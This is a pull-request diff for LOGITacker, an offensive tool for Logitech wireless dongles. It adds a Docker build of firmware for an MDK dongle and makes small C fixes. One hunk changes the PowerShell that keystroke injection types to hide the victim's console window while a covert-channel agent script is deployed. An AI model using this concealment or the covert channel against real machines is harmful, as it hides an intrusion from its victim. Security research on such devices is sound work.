Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
31 changes: 31 additions & 0 deletions Dockerfile.mdk-dongle
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
# Dockerfile.mdk-dongle

FROM kalilinux/kali-rolling

WORKDIR /root

# Install toolchain and dependencies
RUN apt-get update && apt-get -y install wget git gcc-arm-none-eabi unzip sed make python3

# Fetch nRF5 SDK and LOGITacker repo
RUN wget https://www.nordicsemi.com/-/media/Software-and-other-downloads/SDKs/nRF5/Binaries/nRF5SDK153059ac345.zip \
&& unzip nRF5SDK153059ac345.zip \
&& git clone https://github.com/LuemmelSec/LOGITacker

# Patch SDK for local toolchain
RUN sed -i "s#^GNU_INSTALL_ROOT.*#GNU_INSTALL_ROOT ?= /usr/bin/#g" \
nRF5_SDK_15.3.0_59ac345/components/toolchain/gcc/Makefile.posix

# Build only the MakerDiary MDK Dongle target
WORKDIR /root/LOGITacker/mdk-dongle/blank/armgcc
RUN sed -i "s#^SDK_ROOT.*#SDK_ROOT := /root/nRF5_SDK_15.3.0_59ac345#g" Makefile && make

# Fetch UF2 conversion script
WORKDIR /root
RUN wget https://raw.githubusercontent.com/microsoft/uf2/master/utils/uf2conv.py \
&& wget https://raw.githubusercontent.com/microsoft/uf2/master/utils/uf2families.json

# Create build dir and convert HEX to UF2
RUN mkdir build \
&& cp LOGITacker/mdk-dongle/blank/armgcc/_build/logitacker_mdk_dongle.hex build \
&& python3 uf2conv.py build/logitacker_mdk_dongle.hex -c -f 0xADA52840 -o build/logitacker_mdk_dongle.uf2
16 changes: 16 additions & 0 deletions build_mdk_dongle_firmware.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
#!/bin/bash

IMAGE_NAME="logitacker-mdk"
CONTAINER_NAME="logitacker-mdk-container"
OUTPUT_DIR="$(pwd)/build"

# Build Docker image
docker build -f Dockerfile.mdk-dongle -t $IMAGE_NAME .

# Create a container and copy the firmware out
docker create --name $CONTAINER_NAME $IMAGE_NAME
mkdir -p "$OUTPUT_DIR"
docker cp $CONTAINER_NAME:/root/build "$OUTPUT_DIR"
docker rm $CONTAINER_NAME

echo "UF2 file located at: $OUTPUT_DIR/build/logitacker_mdk_dongle.uf2"
1 change: 1 addition & 0 deletions logitacker/logitacker.c
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,7 @@
#include "nrf_log.h"
#include "logitacker_processor_covert_channel.h"

char g_logitacker_cli_name[32];
NRF_LOG_MODULE_REGISTER();

APP_TIMER_DEF(m_timer_next_tx_action);
Expand Down
4 changes: 2 additions & 2 deletions logitacker/logitacker.h
Original file line number Diff line number Diff line change
Expand Up @@ -47,7 +47,7 @@ typedef enum {
LOGITACKER_MODE_IDLE
} logitacker_mode_t;

char g_logitacker_cli_name[32];
extern char g_logitacker_cli_name[32];

uint32_t logitacker_init();

Expand Down Expand Up @@ -80,4 +80,4 @@ uint32_t logitacker_covert_channel_push_data(covert_channel_payload_data_t const



#endif
#endif
6 changes: 3 additions & 3 deletions logitacker/logitacker_cli.c
Original file line number Diff line number Diff line change
Expand Up @@ -49,9 +49,9 @@ void deploy_covert_channel_script(bool hide) {
logitacker_script_engine_append_task_delay(2000);

if (hide) {
logitacker_script_engine_append_task_type_string("$h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);");
logitacker_script_engine_append_task_type_string("$i=New-Object $ios(2,0);(([reflection.assembly]::LoadWithPartialName(\"WindowsBase\")).GetType(\"MS.Win32.UnsafeNativeMethods\"))::SetWindowPos($hw,$i,0,0,100,100,16512)\n");
logitacker_script_engine_append_task_delay(500);
logitacker_script_engine_append_task_type_string("Add-Type -Namespace Win32 -Name Api -MemberDefinition '[DllImport(\"kernel32.dll\")] public static extern IntPtr GetConsoleWindow();");
logitacker_script_engine_append_task_type_string("[DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);'; $h = [Win32.Api]::GetConsoleWindow(); [Win32.Api]::ShowWindow($h, 0);");
logitacker_script_engine_append_task_delay(500);
}

while (strlen(agentscript) >= 128) {
Expand Down
4 changes: 2 additions & 2 deletions logitacker/logitacker_processor_covert_channel.c
Original file line number Diff line number Diff line change
Expand Up @@ -526,7 +526,7 @@ void processor_covert_channel_esb_handler_func_(logitacker_processor_covert_chan

switch (p_esb_event->evt_id) {
case NRF_ESB_EVENT_TX_FAILED:
NRF_LOG_INFO("COVERT CHANNEL TX_FAIL ... re-transmit");
// NRF_LOG_INFO("COVERT CHANNEL TX_FAIL ... re-transmit");
// retransmit
nrf_esb_start_tx();
break;
Expand Down Expand Up @@ -588,4 +588,4 @@ logitacker_processor_t * new_processor_covert_channel(uint8_t *rf_address, app_t


return contruct_processor_covert_channel_instance(&m_static_covert_channel_ctx);
}
}
1 change: 0 additions & 1 deletion logitacker/logitacker_usb.c
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,6 @@
#include "logitacker_script_engine.h"
#include "logitacker_options.h"


NRF_LOG_MODULE_REGISTER();

uint8_t tmp_in_rep_buf[4][LOGITACKER_USB_HID_GENERIC_IN_REPORT_MAXSIZE];
Expand Down
2 changes: 1 addition & 1 deletion logitacker/logitacker_usb.h
Original file line number Diff line number Diff line change
Expand Up @@ -166,7 +166,7 @@ typedef enum {
}


const app_usbd_hid_generic_t m_app_hid_generic;
extern const app_usbd_hid_generic_t m_app_hid_generic;


// User event handler.
Expand Down